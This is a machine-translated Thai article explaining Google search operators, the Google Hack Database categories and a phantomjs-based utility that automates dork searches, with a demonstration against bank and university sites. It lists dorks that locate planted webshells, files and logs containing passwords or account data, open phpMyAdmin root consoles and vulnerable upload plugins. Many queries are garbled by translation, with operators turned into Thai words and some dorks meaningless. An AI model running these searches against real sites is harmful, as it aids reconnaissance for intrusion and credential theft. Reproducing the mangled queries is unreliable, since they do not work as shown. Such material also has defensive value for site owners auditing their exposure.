    ค้นหาไซต์ที่มีหัวข้อคล้ายกัน
    ที่เกี่ยวข้อง:google.ru - จะแสดงแอนะล็อก
    ลิงค์
    ค้นหาเว็บไซต์ที่เชื่อมโยงมายังสิ่งนี้
    link:somesite.ru - จะค้นหาเว็บไซต์ทั้งหมดที่มีลิงก์ไปยังสิ่งนี้
    กำหนด
    แสดงคำจำกัดความของคำ
    Defin:0day - คำจำกัดความของคำศัพท์
    แคช
    แสดงเนื้อหาของหน้าในแคช (ถ้ามี)
    cache:google.com - จะเปิดหน้าที่แคชไว้

    ตารางที่ 2 - อักขระพิเศษสำหรับข้อความค้นหาของ Google

    เครื่องหมาย
    ความหมาย
    ตัวอย่าง

    วลีที่แน่นอน
    intitle:“หน้าการกำหนดค่าเราเตอร์ RouterOS” - ค้นหาเราเตอร์
    *
    ข้อความใดก็ได้
    inurl: “bitrix*mcart” - ค้นหาไซต์บน bitrix ด้วยโมดูล mcart ที่มีช่องโหว่
    .
    ตัวละครอะไรก็ได้
    Index.of - คล้ายกับดัชนีคำขอ
    -
    ลบคำ
    error -warning - แสดงทุกหน้าที่มีข้อผิดพลาดแต่ไม่มีคำเตือน
    ..
    พิสัย
    cve 2006..2016 - แสดงช่องโหว่ตามปีเริ่มตั้งแต่ปี 2549
    |
    ตรรกะ "หรือ"
    ลินุกซ์ | windows - แสดงหน้าที่คำแรกหรือคำที่สองปรากฏขึ้น

    เป็นเรื่องที่ควรเข้าใจว่าคำขอใด ๆ ไปยังเครื่องมือค้นหาคือการค้นหาด้วยคำพูดเท่านั้น
    การค้นหาอักขระเมตาบนหน้าเว็บนั้นไม่มีประโยชน์ (เครื่องหมายคำพูด วงเล็บ เครื่องหมายวรรคตอน ฯลฯ) แม้แต่การค้นหาวลีที่ตรงกันทุกประการที่ระบุในเครื่องหมายคำพูดก็คือการค้นหาคำ ตามด้วยการค้นหารายการที่ตรงกันทุกประการในผลลัพธ์

    Dorks ฐานข้อมูล Google Hack ทั้งหมดแบ่งออกเป็น 14 หมวดหมู่ตามตรรกะและแสดงไว้ในตารางที่ 3
    ตารางที่ 3 – หมวดหมู่ฐานข้อมูล Google Hack

    หมวดหมู่
    สิ่งที่ช่วยให้คุณค้นพบ
    ตัวอย่าง
    ที่วางเท้า
    Web Shells ตัวจัดการไฟล์สาธารณะ
    ค้นหาไซต์ที่ถูกแฮ็กทั้งหมดซึ่งมีการอัปโหลด webshells ที่ระบุไว้:
    (intitle:"phpshell" หรือ intitle:"c99shell" หรือ intitle:"r57shell" หรือ intitle:"PHP Shell" หรือ intitle:"phpRemoteView") `rwx` "uname"
    ไฟล์ที่มีชื่อผู้ใช้
    ไฟล์รีจิสตรี ไฟล์การกำหนดค่า บันทึก ไฟล์ที่มีประวัติของคำสั่งที่ป้อน
    ค้นหาไฟล์รีจิสตรีทั้งหมดที่มีข้อมูลบัญชี:
    ประเภทไฟล์:reg reg +intext:“ผู้จัดการบัญชีอินเทอร์เน็ต”
    ไดเรกทอรีที่ละเอียดอ่อน
    ไดเร็กทอรีที่มีข้อมูลต่างๆ (เอกสารส่วนตัว, การกำหนดค่า VPN, พื้นที่เก็บข้อมูลที่ซ่อนอยู่ ฯลฯ)
    ค้นหารายการไดเร็กทอรีทั้งหมดที่มีไฟล์ที่เกี่ยวข้องกับ VPN:
    "Config" intitle: "ดัชนีของ" intext: vpn
    ไซต์ที่มีที่เก็บ git:
    (intext:"ดัชนีของ /.git") ("ไดเรกทอรีหลัก")
    การตรวจจับเซิร์ฟเวอร์เว็บ
    เวอร์ชันและข้อมูลอื่น ๆ เกี่ยวกับเว็บเซิร์ฟเวอร์
    ค้นหาคอนโซลการดูแลระบบเซิร์ฟเวอร์ JBoss:
    inurl:"/web-console/" intitle:"คอนโซลผู้ดูแลระบบ"
    ไฟล์ที่มีช่องโหว่
    สคริปต์ที่มีช่องโหว่ที่ทราบ
    ค้นหาไซต์ที่ใช้สคริปต์ที่อนุญาตให้คุณอัปโหลดไฟล์ที่ต้องการจากเซิร์ฟเวอร์:
    allinurl:forcedownload.php?file=
    เซิร์ฟเวอร์ที่มีช่องโหว่
    สคริปต์การติดตั้ง, เว็บเชลล์, คอนโซลการดูแลระบบแบบเปิด ฯลฯ
    ค้นหาคอนโซล PHPMyAdmin ที่เปิดอยู่ซึ่งทำงานเป็นรูท:
    intitle:phpMyAdmin "ยินดีต้อนรับสู่ phpMyAdmin ***" "ทำงานบน * ในชื่อ root@*"
    ข้อความแสดงข้อผิดพลาด
    ข้อผิดพลาดและคำเตือนต่างๆ มักจะเปิดเผยข้อมูลสำคัญ ตั้งแต่เวอร์ชัน CMS ไปจนถึงรหัสผ่าน
    ไซต์ที่มีข้อผิดพลาดในการดำเนินการแบบสอบถาม SQL ไปยังฐานข้อมูล:
    "คำเตือน: mysql_query()" "แบบสอบถามไม่ถูกต้อง"
    ไฟล์ที่มีข้อมูลที่น่าสนใจ
    ใบรับรอง ข้อมูลสำรอง อีเมล บันทึก สคริปต์ SQL ฯลฯ
    ค้นหาสคริปต์ sql การเริ่มต้น:
    ประเภทไฟล์:sql และ “แทรกลงใน” -site:github.com
    ไฟล์ที่มีรหัสผ่าน
    สิ่งใดก็ตามที่สามารถมีรหัสผ่านได้ - บันทึก, สคริปต์ SQL ฯลฯ
    บันทึกที่กล่าวถึงรหัสผ่าน:
    ประเภทไฟล์:บันทึกข้อความ:รหัสผ่าน |ผ่าน |ปว
    สคริปต์ sql ที่มีรหัสผ่าน:
    ต่อ:ฐานข้อมูล SQLข้อความ:ชื่อผู้ใช้ข้อความ:รหัสผ่าน
    ข้อมูลการช็อปปิ้งออนไลน์ที่ละเอียดอ่อน
    ข้อมูลที่เกี่ยวข้องกับการซื้อออนไลน์
    ค้นหารหัสพิน:
    ดีไซด์=พันล้าน=เข็มหมุดรหัส=
    ข้อมูลเครือข่ายหรือช่องโหว่
    ข้อมูลที่ไม่เกี่ยวข้องโดยตรงกับทรัพยากรบนเว็บ แต่ส่งผลกระทบต่อเครือข่ายหรือบริการอื่นๆ ที่ไม่ใช่บนเว็บ
    ค้นหาสคริปต์การกำหนดค่าพร็อกซีอัตโนมัติที่มีข้อมูลเกี่ยวกับเครือข่ายภายใน:
    inurl:พร็อกซี | inurl:wpad ต่อ:pac | ต่อ: dat findproxyforurl
    หน้าที่มีพอร์ทัลเข้าสู่ระบบ
    หน้าที่มีแบบฟอร์มเข้าสู่ระบบ
    หน้าเว็บ saplogon:
    ข้อความ:"2016 SAP AG. สงวนลิขสิทธิ์" ชื่อเรื่อง:"เข้าสู่ระบบ"
    อุปกรณ์ออนไลน์ต่างๆ
    เครื่องพิมพ์ เราเตอร์ ระบบตรวจสอบ ฯลฯ
    ค้นหาแผงการกำหนดค่าเครื่องพิมพ์:
    ชื่อ:"แรงม้าเลเซอร์เจ็ท"ใส่ URL:เอสเอสไอ/รับรองความถูกต้อง/ชุด_กำหนดค่า_ข้อมูลอุปกรณ์htm
    คำแนะนำและช่องโหว่
    เว็บไซต์ในเวอร์ชัน CMS ที่มีช่องโหว่
    ค้นหาปลั๊กอินที่มีช่องโหว่ซึ่งคุณสามารถอัปโหลดไฟล์ที่กำหนดเองไปยังเซิร์ฟเวอร์ได้:
    inurl:fckeditor -intext: "ConfigIsEnabled = False" intext: ConfigIsEnabled

    Dorks มักมุ่งเน้นไปที่การค้นหาในเว็บไซต์อินเทอร์เน็ตทั้งหมด แต่ไม่มีสิ่งใดป้องกันคุณจากการจำกัดขอบเขตการค้นหาในไซต์หรือไซต์ใดๆ
    ข้อความค้นหาของ Google แต่ละคำสามารถมุ่งเน้นไปที่ไซต์ใดไซต์หนึ่งได้โดยการเพิ่มคำหลัก “site:somesite.com” ลงในข้อความค้นหา คีย์เวิร์ดนี้สามารถเพิ่มลงใน dork ใดก็ได้

    ค้นหาช่องโหว่โดยอัตโนมัติ
    นี่คือที่มาของแนวคิดในการเขียนยูทิลิตี้ง่ายๆ ที่ทำการค้นหาช่องโหว่โดยอัตโนมัติโดยใช้เครื่องมือค้นหา (google) และอาศัยฐานข้อมูลแฮ็กของ Google

    ยูทิลิตี้นี้เป็นสคริปต์ที่เขียนใน nodejs โดยใช้ phantomjs พูดให้ถูกก็คือ สคริปต์ถูกตีความโดย phantomjs นั่นเอง
    Phantomjs เป็นเว็บเบราว์เซอร์เต็มรูปแบบที่ไม่มี GUI ควบคุมโดยโค้ด js และด้วย API ที่สะดวกสบาย
    ยูทิลิตี้นี้ได้รับชื่อที่เข้าใจได้ค่อนข้างดี - dorks ด้วยการรันบนบรรทัดคำสั่ง (โดยไม่มีตัวเลือก) เราได้รับความช่วยเหลือสั้นๆ พร้อมตัวอย่างการใช้งานหลายประการ:


    รูปที่ 1 - รายการตัวเลือกหลักๆ

    ไวยากรณ์ทั่วไปของยูทิลิตี้นี้คือ: dork “command” “option list”
    คำอธิบายโดยละเอียดของตัวเลือกทั้งหมดแสดงไว้ในตารางที่ 4

    ตารางที่ 4 - ไวยากรณ์ Dorks

    ทีม
    ตัวเลือก
    คำอธิบาย
    ghdb
    -ล
    พิมพ์รายการหมายเลขหมวดหมู่ dork ฐานข้อมูล Google Hack
    -c “หมายเลขหมวดหมู่หรือชื่อ”
    ประตูโหลดประเภทที่ระบุตามหมายเลขหรือชื่อ
    -q "วลี"
    ดาวน์โหลด dorks ตามคำขอ
    -o "ไฟล์"
    บันทึกผลลัพธ์ลงในไฟล์ (เฉพาะตัวเลือก -c|-q)
    Google
    -d "ดอก"
    ตั้งค่า dork โดยพลการ (ตัวเลือกสามารถใช้ได้หลายครั้ง อนุญาตให้ใช้ร่วมกับตัวเลือก -D)
    -D "ไฟล์"
    ใช้ dorks จากไฟล์
    -s "ไซต์"
    ตั้งค่าไซต์ (อนุญาตให้ใช้ตัวเลือกได้หลายครั้ง ใช้ร่วมกับตัวเลือก -S ได้)
    -S "ไฟล์"
    ใช้ไซต์จากไฟล์ (dorks จะถูกค้นหาสำหรับแต่ละไซต์แยกกัน)
    -f "ตัวกรอง"
    ตั้งค่าคีย์เวิร์ดเพิ่มเติม (จะถูกเพิ่มในแต่ละดอร์ก)
    -t "จำนวนมิลลิวินาที"
    ช่วงเวลาระหว่างคำขอไปยัง Google
    -T "จำนวนมิลลิวินาที"
    หมดเวลาหากพบแคปต์ชา
    -o "ไฟล์"
    บันทึกผลลัพธ์ลงในไฟล์ (เฉพาะแทร็กที่พบบางสิ่งเท่านั้นที่จะถูกบันทึก)

    เมื่อใช้คำสั่ง ghdb คุณสามารถรับ dorks ทั้งหมดจาก Exploit-db ตามคำขอที่กำหนดเอง หรือระบุหมวดหมู่ทั้งหมด หากคุณระบุหมวดหมู่ 0 ฐานข้อมูลทั้งหมดจะถูกยกเลิกการโหลด (ประมาณ 4.5 พันดอร์ก)

    รายการหมวดหมู่ที่มีอยู่ในปัจจุบันแสดงไว้ในรูปที่ 2

    รูปที่ 2 - รายการหมวดหมู่ GHDB dork ที่มีอยู่

    ทีมงาน Google จะแทนที่แต่ละ Dork ลงในเครื่องมือค้นหาของ Google และวิเคราะห์ผลลัพธ์สำหรับการจับคู่ เส้นทางที่พบบางสิ่งจะถูกบันทึกลงในไฟล์
    ยูทิลิตี้นี้รองรับโหมดการค้นหาที่แตกต่างกัน:
    1 ดอกและ 1 ไซต์;
    1 ดอกและหลายไซต์
    1 ไซต์และ dorks มากมาย
    ไซต์หลายแห่งและ dorks หลายแห่ง
    รายชื่อ Dorks และไซต์สามารถระบุได้ผ่านทางอาร์กิวเมนต์หรือผ่านไฟล์

    สาธิตการทำงาน
    ลองค้นหาช่องโหว่โดยใช้ตัวอย่างการค้นหาข้อความแสดงข้อผิดพลาด ตามคำสั่ง: dorks ghdb –c 7 –o error.dorks ทุก dorks ที่รู้จักในหมวด “ข้อความแสดงข้อผิดพลาด” จะถูกโหลดดังแสดงในรูปที่ 3


    รูปที่ 3 – กำลังโหลด dorks ที่รู้จักทั้งหมดของหมวดหมู่ “ข้อความแสดงข้อผิดพลาด”

    Dorks จะถูกดาวน์โหลดและบันทึกเป็นไฟล์ ตอนนี้สิ่งที่เหลืออยู่ก็คือ "ตั้งค่า" พวกมันในบางไซต์ (ดูรูปที่ 4)


    รูปที่ 4 – ค้นหาช่องโหว่ของไซต์ที่สนใจในแคชของ Google

    หลังจากผ่านไประยะหนึ่ง หน้าเว็บหลายหน้าที่มีข้อผิดพลาดจะถูกค้นพบบนไซต์ที่กำลังศึกษา (ดูรูปที่ 5)


    รูปที่ 5 – พบข้อความแสดงข้อผิดพลาด

    ด้วยเหตุนี้ในไฟล์ result.txt เราจึงได้รับรายการ Dorks ทั้งหมดที่ทำให้เกิดข้อผิดพลาด
    รูปที่ 6 แสดงผลลัพธ์การค้นหาข้อผิดพลาดของไซต์

    รูปที่ 6 – ผลการค้นหาข้อผิดพลาด

    แคชสำหรับ dork นี้จะแสดง backtrace ที่สมบูรณ์ โดยเปิดเผยพาธสัมบูรณ์ของสคริปต์ ระบบจัดการเนื้อหาไซต์ และประเภทฐานข้อมูล (ดูรูปที่ 7)


    รูปที่ 7 – การเปิดเผยข้อมูลเกี่ยวกับการออกแบบเว็บไซต์

    อย่างไรก็ตาม ควรพิจารณาว่าไม่ใช่ว่า dorks ทั้งหมดจาก GHDB จะให้ผลลัพธ์ที่แท้จริง นอกจากนี้ Google อาจไม่พบรายการที่ตรงกันทั้งหมดและแสดงผลลัพธ์ที่คล้ายกัน

    ในกรณีนี้ควรใช้รายชื่อ dorks ส่วนตัวของคุณจะดีกว่า ตัวอย่างเช่นการค้นหาไฟล์ที่มีนามสกุล "ผิดปกติ" เป็นสิ่งที่คุ้มค่าเสมอตัวอย่างดังแสดงในรูปที่ 8


    รูปที่ 8 – รายการนามสกุลไฟล์ที่ไม่ปกติสำหรับแหล่งข้อมูลบนเว็บทั่วไป

    ด้วยเหตุนี้ด้วยคำสั่ง dorks google –D extensions.txt –f bank ตั้งแต่คำขอแรกสุด Google จึงเริ่มส่งคืนไซต์ที่มีนามสกุลไฟล์ "ผิดปกติ" (ดูรูปที่ 9)


    รูปที่ 9 – ค้นหาประเภทไฟล์ที่ “ไม่ดี” บนเว็บไซต์ธนาคาร

    โปรดทราบว่า Google ไม่ยอมรับข้อความค้นหาที่ยาวเกิน 32 คำ

    การใช้คำสั่ง dorks google –d intext:”error|คำเตือน|ข้อสังเกต|ไวยากรณ์” –f มหาวิทยาลัย
    คุณสามารถค้นหาข้อผิดพลาดของล่าม PHP ได้บนเว็บไซต์ด้านการศึกษา (ดูรูปที่ 10)


    รูปที่ 10 – การค้นหาข้อผิดพลาดรันไทม์ PHP

    บางครั้งการใช้ dorks หนึ่งหรือสองประเภทก็ไม่สะดวก
    ตัวอย่างเช่น หากทราบว่าไซต์ทำงานบนเอ็นจิ้น Wordpress เราก็จำเป็นต้องมีโมดูลเฉพาะของ WordPress ในกรณีนี้จะสะดวกในการใช้การค้นหาฐานข้อมูล Google Hack คำสั่ง dorks ghdb –q wordpress –o wordpress_dorks.txt จะดาวน์โหลด dorks ทั้งหมดจาก Wordpress ดังแสดงในรูปที่ 11:


    รูปที่ 11 – ค้นหา Dorks ที่เกี่ยวข้องกับ Wordpress

    กลับไปที่ธนาคารอีกครั้งและใช้คำสั่ง dorks google –D wordpress_dords.txt –f bank เพื่อลองค้นหาสิ่งที่น่าสนใจที่เกี่ยวข้องกับ Wordpress (ดูรูปที่ 12)


    รูปที่ 12 – ค้นหาช่องโหว่ของ Wordpress

    เป็นที่น่าสังเกตว่าการค้นหาในฐานข้อมูล Google Hack ไม่ยอมรับคำที่สั้นกว่า 4 ตัวอักษร ตัวอย่างเช่น หากไม่รู้จัก CMS ของไซต์ แต่รู้จักภาษา - PHP ในกรณีนี้ คุณสามารถกรองสิ่งที่คุณต้องการได้ด้วยตนเองโดยใช้ไปป์และยูทิลิตีการค้นหาระบบ dorks –c all | findstr /I php > php_dorks.txt (ดูรูปที่ 13):


    รูปที่ 13 – ค้นหา dorks ทั้งหมดที่กล่าวถึง PHP

    การค้นหาช่องโหว่หรือข้อมูลที่ละเอียดอ่อนในเครื่องมือค้นหาควรทำก็ต่อเมื่อมีดัชนีที่สำคัญบนไซต์นี้ ตัวอย่างเช่น หากไซต์มีการจัดทำดัชนีไว้ 10-15 หน้า การค้นหาสิ่งใดในลักษณะนี้ถือเป็นเรื่องโง่ การตรวจสอบขนาดดัชนีนั้นง่ายดาย เพียงป้อน “site:somesite.com” ลงในแถบค้นหาของ Google ตัวอย่างของไซต์ที่มีดัชนีไม่เพียงพอแสดงในรูปที่ 14


    รูปที่ 14 – การตรวจสอบขนาดดัชนีไซต์

    ตอนนี้เกี่ยวกับสิ่งที่ไม่พึงประสงค์... ในบางครั้ง Google อาจขอแคปต์ชา - คุณไม่สามารถทำอะไรกับมันได้ - คุณจะต้องป้อนมัน ตัวอย่างเช่น เมื่อค้นหาในหมวดหมู่ "ข้อความแสดงข้อผิดพลาด" (90 dorks) แคปต์ชาจะปรากฏเพียงครั้งเดียว

    เป็นเรื่องที่คุ้มค่าที่จะเพิ่มว่า phantomjs ยังรองรับการทำงานผ่านพรอกซี ทั้งผ่านทางอินเทอร์เฟซ http และถุงเท้า หากต้องการเปิดใช้งานโหมดพร็อกซี คุณต้องยกเลิกการใส่หมายเหตุในบรรทัดที่เกี่ยวข้องใน dorks.bat หรือ dorks.sh

    เครื่องมือนี้มีให้ใช้งานเป็นซอร์สโค้ด